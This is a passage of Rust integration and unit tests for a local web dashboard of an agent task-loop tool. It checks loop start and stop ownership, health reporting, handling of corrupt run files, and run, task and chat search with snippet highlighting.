19563            "staleness is reported so the UI can say how long: {stale}"
19564        );
19565
19566        write_daemon(f.home.path(), Timestamp::now());
19567        let fresh = f.get("/api/health").await.json();
19568        assert_eq!(fresh["daemon"]["running"], true);
19569        assert_eq!(fresh["daemon"]["idle"], false);
19570        assert_eq!(fresh["daemon"]["pid"], 4242);
19571        assert_eq!(fresh["daemon"]["completed"], 7);
19572        assert_eq!(
19573            fresh["daemon"]["current"][0]["task"],
19574            "20260902-140501-aaaa"
19575        );
19576        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19577    }
19578
19579    #[tokio::test]
19580    async fn the_loop_is_not_running_until_something_starts_it() {
19581        let f = Fixture::start().await;
19582
19583        let view = f.get("/api/loop").await.json();
19584        assert_eq!(view["running"], false);
19585        assert_eq!(
19586            view["owned"], false,
19587            "nobody owns a loop that does not exist: {view}"
19588        );
19589        assert_eq!(view["stopping"], false);
19590        assert_eq!(view["last_error"], Value::Null);
19591        assert_eq!(view["daemon"]["running"], false);
19592        assert_eq!(
19593            view["repo"], "/repo/magi",
19594            "the repository a start would use, named before it is started"
19595        );
19596    }
19597
19598    #[tokio::test]
19599    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19600        let f = Fixture::start().await;
19601
19602        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19603        assert_eq!(res.status, 200, "{}", res.body);
19604        let view = res.json();
19605        assert_eq!(view["running"], true);
19606        assert_eq!(
19607            view["owned"], true,
19608            "the loop the UI started is the UI's own to stop: {view}"
19609        );
19610        assert_eq!(
19611            view["merge"],
19612            Value::Null,
19613            "no override was given, so each repository's own config decides"
19614        );
19615
19616        // The same object from the route a waking phone polls first. Two
19617        // surfaces disagreeing about whether anything is running is exactly
19618        // the confusion this UI exists to remove.
19619        let health = f.get("/api/health").await.json();
19620        assert_eq!(health["loop"]["running"], true, "{health}");
19621        assert_eq!(health["loop"]["owned"], true, "{health}");
19622
19623        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19624    }
19625
19626    #[tokio::test]
19627    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19628        let f = Fixture::start().await;
19629        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19630        assert_eq!(first.status, 200, "{}", first.body);
19631
19632        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19633        assert_eq!(
19634            again.status, 409,
19635            "two loops on one queue race for the same claims: {}",
19636            again.body
19637        );
19638        assert!(
19639            again.json()["error"]
19640                .as_str()
19641                .is_some_and(|e| e.contains("already running the loop")),
19642            "the refusal has to say why: {}",
19643            again.body
19644        );
19645        assert_eq!(
19646            f.get("/api/loop").await.json()["running"],
19647            true,
19648            "and the loop that was already running is untouched by it"
19649        );
19650
19651        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19652    }
19653
19654    #[tokio::test]
19655    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19656        let f = Fixture::start().await;
19657        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19658
19659        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19660        assert_eq!(
19661            res.status, 200,
19662            "the answer must not wait for the loop: a run in flight is tens of \
19663             minutes and the operator is holding a phone: {}",
19664            res.body
19665        );
19666
19667        let view = settled(&f, |v| v["running"] == false).await;
19668        assert_eq!(view["owned"], false);
19669        assert_eq!(
19670            view["stopping"], false,
19671            "a loop that has stopped is not still stopping: {view}"
19672        );
19673        assert_eq!(
19674            view["last_error"],
19675            Value::Null,
19676            "a loop that was asked to stop did not fail: {view}"
19677        );
19678
19679        // Idempotent, because the operator cannot tell a slow stop from a lost
19680        // one and will press it again.
19681        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19682        assert_eq!(twice.status, 200, "{}", twice.body);
19683    }
19684
19685    #[tokio::test]
19686    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19687        let f = Fixture::start().await;
19688        // How the operator has been doing it: a `magi serve` of their own,
19689        // heartbeat fresh, in the same home this UI reads.
19690        write_daemon(f.home.path(), Timestamp::now());
19691
19692        let view = f.get("/api/loop").await.json();
19693        assert_eq!(view["running"], false, "not in this process: {view}");
19694        assert_eq!(view["owned"], false, "and not this process's to control");
19695        assert_eq!(
19696            view["daemon"]["running"], true,
19697            "but a loop is alive somewhere, which is what the UI must say"
19698        );
19699        assert_eq!(view["daemon"]["pid"], 4242);
19700
19701        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19702            let res = f.post("/api/loop", Some(body)).await;
19703            assert_eq!(
19704                res.status, 409,
19705                "neither button may pretend to work on someone else's loop: {}",
19706                res.body
19707            );
19708            assert!(
19709                res.json()["error"]
19710                    .as_str()
19711                    .is_some_and(|e| e.contains("4242")),
19712                "the refusal has to name the process the operator must go to: {}",
19713                res.body
19714            );
19715        }
19716        assert_eq!(
19717            f.get("/api/loop").await.json()["running"],
19718            false,
19719            "and the refusal started nothing"
19720        );
19721    }
19722
19723    #[tokio::test]
19724    async fn a_stale_status_file_is_not_a_foreign_owner() {
19725        let f = Fixture::start().await;
19726        write_daemon(
19727            f.home.path(),
19728            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19729        );
19730
19731        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19732        assert_eq!(
19733            res.status, 200,
19734            "a daemon killed a minute ago must not lock the loop out of its \
19735             own home for good: {}",
19736            res.body
19737        );
19738        assert_eq!(res.json()["running"], true);
19739
19740        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19741    }
19742
19743    #[tokio::test]
19744    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19745        let f = Fixture::start().await;
19746        let before = f.get("/api/health").await.json()["loop_rev"]
19747            .as_u64()
19748            .expect("a loop revision");
19749
19750        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19751
19752        let after = f.get("/api/health").await.json()["loop_rev"]
19753            .as_u64()
19754            .expect("a loop revision");
19755        assert!(
19756            after > before,
19757            "the loop is in-process state, so this counter is the only thing \
19758             that tells a second device the first one started it: {before} -> \
19759             {after}"
19760        );
19761
19762        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19763    }
19764
19765    #[tokio::test]
19766    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19767        let f = Fixture::with_loop(launch_broken).await;
19768
19769        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19770        assert_eq!(
19771            res.status, 200,
19772            "starting it is not the failure: {}",
19773            res.body
19774        );
19775
19776        let view = settled(&f, |v| v["last_error"].is_string()).await;
19777        assert_eq!(
19778            view["running"], false,
19779            "a loop that died must not read as running, or the operator has \
19780             nothing to press: {view}"
19781        );
19782        assert_eq!(view["owned"], false);
19783        assert!(
19784            view["last_error"]
19785                .as_str()
19786                .is_some_and(|e| e.contains("read-only file system")),
19787            "the phone is where a loop that died at 3am is visible: {view}"
19788        );
19789
19790        // And it can be started again: the corpse was reaped, not left to
19791        // occupy the slot.
19792        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19793        assert_eq!(again.status, 200, "{}", again.body);
19794        assert!(
19795            again.json()["last_error"]
19796                .as_str()
19797                .is_none_or(|e| !e.contains("read-only file system")),
19798            "a fresh start does not keep showing why the last one died: {}",
19799            again.body
19800        );
19801    }
19802
19803    #[tokio::test]
19804    async fn a_newer_daemon_status_file_still_renders() {
19805        let f = Fixture::start().await;
19806        // A field this build has never heard of must not turn the status line
19807        // into a 500; that is the whole reason the reader is permissive.
19808        std::fs::write(
19809            f.home.path().join("daemon.json"),
19810            serde_json::json!({
19811                "schema": 2,
19812                "updated_at": Timestamp::now().to_string(),
19813                "idle": true,
19814                "surprise": { "nested": [1, 2, 3] },
19815            })
19816            .to_string(),
19817        )
19818        .expect("write daemon.json");
19819
19820        let health = f.get("/api/health").await;
19821
19822        assert_eq!(health.status, 200);
19823        assert_eq!(health.json()["daemon"]["running"], true);
19824    }
19825
19826    #[tokio::test]
19827    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19828        let f = Fixture::start().await;
19829        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19830        let broken = f.runs().join("20260902-140502-bad");
19831        std::fs::create_dir_all(&broken).expect("run dir");
19832        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19833
19834        let list = f.get("/api/runs").await;
19835        let detail = f.get("/api/runs/20260902-140502-bad").await;
19836
19837        assert_eq!(list.status, 200);
19838        let listed = list.json();
19839        let ids: Vec<&str> = listed
19840            .as_array()
19841            .expect("an array")
19842            .iter()
19843            .map(|r| r["id"].as_str().expect("an id"))
19844            .collect();
19845        assert_eq!(
19846            ids,
19847            vec!["20260902-140501-good"],
19848            "one unreadable run must not cost the operator the whole history"
19849        );
19850        assert_eq!(detail.status, 500);
19851        assert!(
19852            detail.json()["error"]
19853                .as_str()
19854                .is_some_and(|e| e.contains("run.json")),
19855            "the failure names the file to look at: {}",
19856            detail.body
19857        );
19858        // A skipped run has to be countable somewhere, or the UI shows an
19859        // empty history with nothing to explain it - which is exactly what a
19860        // directory full of older-schema runs looks like.
19861        let health = f.get("/api/health").await;
19862        assert_eq!(health.json()["runs_unreadable"], 1);
19863    }
19864
19865    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19866    #[tokio::test]
19867    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19868        let f = Fixture::start().await;
19869        let runs = f.runs();
19870        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19871        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19872        // Text three levels down, in a shape no current RunState has: an older
19873        // schema must still search.
19874        let path = runs.join("20260902-140502-bbbb").join("run.json");
19875        let mut v: serde_json::Value =
19876            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19877        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19878        std::fs::write(&path, v.to_string()).unwrap();
19879        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19880        std::fs::write(
19881            runs.join("20260902-140503-cccc").join("run.json"),
19882            "{ not json",
19883        )
19884        .unwrap();
19885
19886        let res = f.get("/api/search?scope=runs&q=quokka").await;
19887        assert_eq!(res.status, 200, "{}", res.body);
19888        let v = res.json();
19889        assert_eq!(v["total"], 1, "{v}");
19890        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19891        assert_eq!(v["hits"][0]["field"], "text");
19892        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19893        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19894        assert!(
19895            parts
19896                .iter()
19897                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19898            "{v}"
19899        );
19900        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19901        assert_eq!(
19902            flat, "The Quokka leaks across threads",
19903            "whitespace is collapsed"
19904        );
19905
19906        // Terms are ANDed, across different fields, case-insensitively.
19907        let both = f
19908            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19909            .await
19910            .json();
19911        assert_eq!(both["total"], 1, "{both}");
19912        let neither = f
19913            .get("/api/search?scope=runs&q=quokka%20zebra")
19914            .await
19915            .json();
19916        assert_eq!(neither["total"], 0, "{neither}");
19917        // Everything in the task statement is reachable, not only the row text.
19918        let stmt = f
19919            .get("/api/search?scope=runs&q=mobile%20first")
19920            .await
19921            .json();
19922        assert_eq!(stmt["total"], 2, "{stmt}");
19923        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19924        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19925    }
19926
19927    #[test]
19928    fn snippet_ignores_terms_longer_than_the_field() {
19929        let terms = ["ok".to_owned(), "elephant".to_owned()];
19930        let parts = snippet_of("ok", &terms);
19931        assert_eq!(
19932            parts,
19933            vec![SnippetPart {
19934                text: "ok".to_owned(),
19935                hit: true
19936            }]
19937        );
19938    }
19939
19940    #[test]
19941    fn snippet_marks_matches_longer_than_the_window() {
19942        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19943        let hit_len = |parts: &[SnippetPart]| -> usize {
19944            parts
19945                .iter()
19946                .filter(|p| p.hit)
19947                .map(|p| p.text.chars().count())
19948                .sum()
19949        };
19950        let total =
19951            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19952
19953        let long = "a".repeat(120);
19954        let parts = snippet_of(&long, std::slice::from_ref(&long));
19955        assert!(hit_len(&parts) > 0, "{parts:?}");
19956        assert!(total(&parts) <= cap);
19957
19958        let ja = "あ".repeat(130);
19959        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19960        assert!(hit_len(&parts) > 0, "{parts:?}");
19961        assert!(total(&parts) <= cap);
19962
19963        // A short hit, then one straddling the window's end.
19964        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19965        let term = format!("ab{}", "c".repeat(100));
19966        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19967        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19968        assert!(total(&parts) <= cap);
19969
19970        // Only the head matches: not highlighted.
19971        let text = format!("{}z", "a".repeat(119));
19972        let parts = snippet_of(&text, &["a".repeat(120)]);
19973        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19974    }
19975
19976    #[tokio::test]
19977    async fn search_caps_hits_and_snippet_length() {
19978        let f = Fixture::start().await;
19979        let runs = f.runs();
19980        for n in 0..(SEARCH_MAX_HITS + 5) {
19981            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19982        }
19983        let v = f.get("/api/search?scope=runs&q=web").await.json();
19984        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19985        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19986        assert_eq!(v["truncated"], true);
19987        // Every listed run hit carries its list row for the page's filters.
19988        assert!(
19989            v["hits"]
19990                .as_array()
19991                .unwrap()
19992                .iter()
19993                .all(|h| h["run"]["status"] == "merged")
19994        );
19995
19996        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19997        let parts = snippet_of(&long, &["needle".to_owned()]);
19998        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19999        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20000        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20001    }
20002
20003    #[tokio::test]
20004    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20005        let f = Fixture::start().await;
20006        let queue = f.queue();
20007        let mut t = Task::new(
20008            "short title".to_owned(),
20009            "line one\nthe hidden Armadillo detail".to_owned(),
20010            PathBuf::from("/repo/magi"),
20011            Source::Agent {
20012                run: "r1".to_owned(),
20013                node: "chat".to_owned(),
20014            },
20015        );
20016        t.last_error = Some("disk full on /tmp".to_owned());
20017        queue.put(&mut t).expect("file the task");
20018
20019        for (q, want) in [
20020            ("armadillo", 1),
20021            ("disk%20FULL", 1),
20022            ("chat", 1),
20023            ("queued", 1),
20024            ("short%20nothing", 0),
20025        ] {
20026            let v = f
20027                .get(&format!("/api/search?scope=tasks&q={q}"))
20028                .await
20029                .json();
20030            assert_eq!(v["total"], want, "{q}: {v}");
20031        }
20032        for bad in [
20033            "/api/search?scope=tasks&q=",
20034            "/api/search?scope=tasks&q=%20",
20035            "/api/search?scope=chats&q=",
20036            "/api/search?scope=chats&q=%20",
20037            "/api/search?scope=nope&q=a",
20038            "/api/search?q=a",
20039        ] {
20040            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20041        }
20042    }
20043
20044    /// Write one conversation file the way the store reads it back.
20045    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20046        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20047            .expect("seat value");
20048        let turns: Vec<serde_json::Value> = turns
20049            .iter()
20050            .map(|(who, body)| {
20051                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20052            })
20053            .collect();
20054        let doc = serde_json::json!({
20055            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20056            "status": status, "turns": turns,
20057            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20058            "seat": seat,
20059        });
20060        let dir = f.home.path().join("talks");
20061        std::fs::create_dir_all(&dir).expect("talks dir");
20062        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20063    }
20064
20065    #[test]
20066    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20067        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20068            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20069            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20070            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20071            "seat": crate::agent::SeatState::new("talk", "test", 1)
20072        })).unwrap();
20073        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20074        talk.title = Some(talk::ChatTitle {
20075            text: "最近の話題".into(),
20076            source: talk::TitleSource::Generated,
20077        });
20078        let doc = talk_search_doc(&talk);
20079        assert_eq!(doc["title"], "最近の話題");
20080        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20081        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20082        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20083    }
20084
20085    #[test]
20086    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20087        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20088        talk.title = Some(talk::ChatTitle {
20089            text: "Saved title".into(),
20090            source: talk::TitleSource::Manual,
20091        });
20092        talk.turns = serde_json::from_value(serde_json::json!([
20093            {
20094                "who": "operator", "sender": "external", "body": "External plain",
20095                "at": "2026-09-08T20:58:02Z"
20096            },
20097            {
20098                "who": "operator", "body": "External message",
20099                "at": "2026-09-08T20:58:03Z",
20100                "messages": [{
20101                    "sender": "external", "body": "External message", "attachments": []
20102                }]
20103            }
20104        ]))
20105        .unwrap();
20106        let doc = talk_search_doc(&talk);
20107        assert_eq!(doc["turns"][0]["external"], "External plain");
20108        assert_eq!(doc["turns"][1]["external"], "External message");
20109        assert!(doc["turns"][0].get("operator").is_none());
20110        assert!(doc["turns"][1].get("operator").is_none());
20111        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20112        assert_eq!(hit.field, "external");
20113        let target = hit.target.unwrap();
20114        assert_eq!((target.turn, target.message), (1, 0));
20115    }
20116
20117    #[test]
20118    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20119        let talk: Talk = serde_json::from_value(serde_json::json!({
20120            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20121            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20122            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20123                "messages":[{"body":"First message", "attachments":[], "reply":null},
20124                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20125                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20126            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20127            "seat": crate::agent::SeatState::new("talk", "test", 1)
20128        })).unwrap();
20129        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20130        let target = hit.target.unwrap();
20131        assert_eq!((target.turn, target.message), (0, 1));
20132        assert_eq!(target.text, chat_text_key("Search 運用"));
20133        assert_eq!(
20134            hit.snippet,
20135            snippet_of("Search 運用", &search_terms("運用 Another"))
20136        );
20137        assert!(
20138            search_chat(&search_terms("Saved"), &talk)
20139                .unwrap()
20140                .target
20141                .is_none()
20142        );
20143        assert!(
20144            search_chat(&search_terms("ab12"), &talk)
20145                .unwrap()
20146                .target
20147                .is_none()
20148        );
20149        // All terms may still match across separate display rows.
20150        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20151        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20152    }
20153
20154    #[test]
20155    fn chat_search_targets_opener_derived_titles() {
20156        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20157            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20158            "status": "open", "turns": [
20159                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20160                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20161                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20162            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20163            "seat": crate::agent::SeatState::new("talk", "test", 1)
20164        }))
20165        .unwrap();
20166        let terms = search_terms("運用");
20167        let hit = search_chat(&terms, &talk).unwrap();
20168        assert_eq!(hit.field, "title");
20169        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20170        let target = hit.target.unwrap();
20171        assert_eq!((target.turn, target.message), (1, 0));
20172        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20173        // A blank first send can put the opener line in a later display row.
20174        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20175            {"body":"", "attachments":[], "reply":null},
20176            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20177        ]))
20178        .unwrap();
20179        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20180        assert_eq!((target.turn, target.message), (1, 1));
20181        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20182        talk.title = Some(talk::ChatTitle {
20183            text: "運用について".into(),
20184            source: talk::TitleSource::Manual,
20185        });
20186        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20187    }
20188
20189    #[tokio::test]
20190    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20191        let f = Fixture::start().await;
20192        write_talk(
20193            &f,
20194            "20260901-000001-aaaa",
20195            "open",
20196            &[
20197                (
20198                    "operator",
20199                    "\n  Why does the Pangolin cache expire?\nsecond line",
20200                ),
20201                ("agent", "Because the TTL is thirty seconds."),
20202            ],
20203        );
20204        write_talk(
20205            &f,
20206            "20260901-000002-bbbb",
20207            "closed",
20208            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20209        );
20210        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20211
20212        let search = |q: &'static str| {
20213            let f = &f;
20214            async move {
20215                f.get(&format!("/api/search?scope=chats&q={q}"))
20216                    .await
20217                    .json()
20218            }
20219        };
20220
20221        let v = search("PANGOLIN").await;
20222        assert_eq!(v["scope"], "chats");
20223        assert_eq!(v["total"], 1, "{v}");
20224        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20225        assert_eq!(v["hits"][0]["field"], "title");
20226        assert_eq!(v["unreadable"], 1, "{v}");
20227        let marked: Vec<&str> = v["hits"][0]["snippet"]
20228            .as_array()
20229            .unwrap()
20230            .iter()
20231            .filter(|p| p["hit"] == true)
20232            .map(|p| p["text"].as_str().unwrap())
20233            .collect();
20234        assert_eq!(marked, ["Pangolin"]);
20235
20236        // An agent turn, in a closed conversation.
20237        let v = search("zebra").await;
20238        assert_eq!(v["total"], 1, "{v}");
20239        assert_eq!(v["hits"][0]["field"], "agent");
20240        // Words may sit in different turns; all must be present.
20241        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20242        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20243        // Bookkeeping is not searched.
20244        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20245            assert_eq!(search(q).await["total"], 0, "{q}");
20246        }
20247        // The first line only is the title; the second line is still a turn.
20248        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20249        // Open conversations are listed before closed ones.
20250        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20251
20252        let v = f.get("/api/search?scope=nope&q=a").await;
20253        assert_eq!(v.status, 400);
20254        assert!(
20255            v.body.contains("scope must be runs, tasks or chats"),
20256            "{}",
20257            v.body
20258        );
20259    }
20260
20261    #[test]
20262    fn a_question_card_links_a_task_id_to_the_task_page() {
20263        let start = APP_JS
20264            .find("function updateAskCard(")
20265            .expect("updateAskCard exists");
20266        let body = &APP_JS[start..];
20267        let body = &body[..body.find("\n}\n").expect("function end")];
20268        assert!(body.contains("question.run_is_task"));
20269        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20270        assert!(body.contains("`#/runs/${question.run}`"));
20271        assert!(body.contains("\"task\" : \"run\""));
20272    }
20273
20274    #[test]
20275    fn plain_text_message_surfaces_go_through_linkify() {
20276        assert!(APP_JS.contains("function linkify("));
20277        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20278        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20279        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20280        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20281        assert!(!APP_JS.contains("innerHTML = text"));
20282    }
20283
20284    #[test]
20285    fn implementation_rate_views_keep_independent_samples() {
20286        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20287            let a = stats::AgentStats {
20288                competitive_entered: competitive_n,
20289                competitive_wins: usize::from(competitive_n > 0),
20290                solo_entered: solo_n,
20291                solo_adopted: 2 * usize::from(solo_n > 0),
20292                ..Default::default()
20293            };
20294            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20295            for (key, n, numerator) in [
20296                ("competitive_win_rate", competitive_n, a.competitive_wins),
20297                ("solo_adoption_rate", solo_n, a.solo_adopted),
20298            ] {
20299                if n == 0 {
20300                    assert!(v[key].is_null());
20301                } else {
20302                    assert_eq!(v[key]["denominator"], n);
20303                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20304                }
20305            }
20306        }
20307        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20308        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20309        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20310        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20311    }
20312
20313    #[test]
20314    fn stats_bars_share_one_id_keyed_plan() {
20315        let start = APP_JS
20316            .find("function statsBarRows(")
20317            .expect("statsBarRows exists");
20318        let body = &APP_JS[start..];
20319        let body = &body[..body.find("\n}\n").expect("function end")];
20320        assert!(body.contains("statsBarPlan(rows)"));
20321        assert!(body.contains("statsAgentTone(row.agent)"));
20322        assert!(!body.contains("candTone(i)"));
20323        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20324        for root in [
20325            "stats-agents-bars",
20326            "stats-solo-bars",
20327            "stats-reviewers-bars",
20328        ] {
20329            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20330        }
20331    }
20332
20333    #[test]
20334    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20335        let start = APP_JS
20336            .find("function renderStatsReviewerScatter(")
20337            .expect("renderStatsReviewerScatter exists");
20338        let body = &APP_JS[start..];
20339        let body = &body[..body.find("\n}\n").expect("function end")];
20340        assert!(body.contains("statsScatterPlan(reviewers)"));
20341        assert!(body.contains("statsAgentTone(d.agent)"));
20342        assert!(APP_JS.contains("function statsScatterPlan("));
20343        assert!(
20344            APP_JS.contains("d.submitted < STATS_LOW_N")
20345                || APP_JS.contains("r.submitted < STATS_LOW_N")
20346        );
20347        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20348        assert!(APP_CSS.contains(".precision-scatter"));
20349    }
20350
20351    #[test]
20352    fn advisor_reflection_is_drawn_as_stacked_segments() {
20353        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20354        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20355        let html = include_str!("../assets/ui/index.html");
20356        assert!(html.contains("Approximate"));
20357        for label in ["reflected strongly", "faint", "no proposal"] {
20358            assert!(html.contains(label));
20359        }
20360        let css = include_str!("../assets/ui/app.css");
20361        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20362            assert!(css.contains(&format!(".{c} {{")));
20363        }
20364    }
20365
20366    #[test]
20367    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20368        assert!(APP_JS.contains("function statsDailyPlan("));
20369        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20370        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20371    }
20372
20373    #[test]
20374    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20375        let start = APP_JS
20376            .find("function scheduleSearch(")
20377            .expect("scheduleSearch exists");
20378        let body = &APP_JS[start..];
20379        let body = &body[..body.find("\n}\n").expect("function end")];
20380        assert!(body.contains("s.seq += 1"));
20381    }
20382
20383    /// The dashboard reads every run's state itself rather than trusting a
20384    /// separately-maintained count, so an unreadable run must be counted the
20385    /// same way `/api/health` counts it - never silently dropped the way the
20386    /// CLI's own `stats::load_all` drops it.
20387    #[tokio::test]
20388    async fn stats_runs_unreadable_matches_health() {
20389        let f = Fixture::start().await;
20390        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20391        let broken = f.runs().join("20260902-140502-bad");
20392        std::fs::create_dir_all(&broken).expect("run dir");
20393        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20394
20395        let stats = f.get("/api/stats").await;
20396        let health = f.get("/api/health").await;
20397
20398        assert_eq!(stats.status, 200);
20399        assert_eq!(stats.json()["totals"]["runs"], 1);
20400        assert_eq!(stats.json()["runs_unreadable"], 1);
20401        assert_eq!(
